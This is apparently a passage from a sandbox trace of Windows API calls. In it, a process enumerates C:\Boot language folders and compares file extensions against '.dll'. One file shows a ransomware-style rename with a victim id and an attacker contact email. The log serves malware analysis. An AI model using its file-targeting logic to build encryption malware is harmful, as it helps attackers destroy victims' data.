	[0205.383] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0205.383] lstrlenW (lpString=".r3d") returned 4
	[0205.383] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".raf") returned 4
	[0205.383] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".rar") returned 4
	[0205.383] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0205.383] lstrlenW (lpString=".raw") returned 4
	[0205.383] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0205.383] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x82a2ba9e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82a2ba9e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82a2ba9e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x4831, cFileName="BOOTSTAT.DAT.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="BOOTST~1.HTM")) returned 1
	[0205.383] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0205.384] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0205.384] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.384] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652398
	[0205.384] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.384] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.384] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.385] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.385] FindClose (in: hFindFile=0x652398 | out: hFindFile=0x652398) returned 1
	[0205.385] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.385] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0205.385] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.385] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652458
	[0205.385] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.385] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.385] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.386] FindNextFileW (in: hFindFile=0x652458, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.386] FindClose (in: hFindFile=0x652458 | out: hFindFile=0x652458) returned 1
	[0205.386] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.386] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0205.386] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.386] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652398
	[0205.386] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.386] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.386] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.387] FindNextFileW (in: hFindFile=0x652398, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.387] FindClose (in: hFindFile=0x652398 | out: hFindFile=0x652398) returned 1
	[0205.387] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.387] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0205.387] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.387] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652618
	[0205.511] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.511] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.511] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.511] FindNextFileW (in: hFindFile=0x652618, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.511] FindClose (in: hFindFile=0x652618 | out: hFindFile=0x652618) returned 1
	[0205.511] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.512] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0205.512] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.513] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652718
	[0205.513] FindNextFileW (in: hFindFile=0x652718, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.513] FindNextFileW (in: hFindFile=0x652718, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.513] FindNextFileW (in: hFindFile=0x652718, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.513] FindClose (in: hFindFile=0x652718 | out: hFindFile=0x652718) returned 1
	[0205.513] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.513] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="en-US", cAlternateFileName="")) returned 1
	[0205.514] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.514] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652498
	[0205.514] FindNextFileW (in: hFindFile=0x652498, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.514] FindNextFileW (in: hFindFile=0x652498, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.515] FindNextFileW (in: hFindFile=0x652498, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.515] FindNextFileW (in: hFindFile=0x652498, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.515] FindClose (in: hFindFile=0x652498 | out: hFindFile=0x652498) returned 1
	[0205.515] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.515] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0205.515] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.515] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6523d8
	[0205.515] FindNextFileW (in: hFindFile=0x6523d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.515] FindNextFileW (in: hFindFile=0x6523d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
